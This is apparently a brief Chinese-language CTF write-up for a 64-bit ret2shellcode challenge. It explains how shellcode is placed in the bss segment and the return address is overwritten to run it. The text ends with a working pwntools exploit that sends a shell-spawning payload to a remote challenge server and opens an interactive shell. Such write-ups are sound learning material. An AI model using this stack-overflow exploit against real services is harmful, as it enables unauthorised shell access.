此题为64位ret2shellcode模板题,第一次尝试shellcode类型题目
ret2shellcode类型题目一般是将shellcode写到可执行段,然后通过ret返回地址到写入的可执行段的地址执行shellcode获取shell
首先查看保护,nx开启,pie关闭,但是自带的mprotect
函数可以修改程序内存权限
详见链接,先挖个坑,还没学到堆
此题ida反编译后可见将读入的字符串写入buff,即bss段
则可以考虑写shellcode再加上垃圾字符填充达到溢出长度覆盖rbp,再通过返回bss地址执行
exp如下:
from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./ret2shellcode")
io=remote("43.143.7.127",28076)
bss_addr=0x4040a0
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(0x108,b"a")+p64(bss_addr)
io.send(payload)
io.interactive()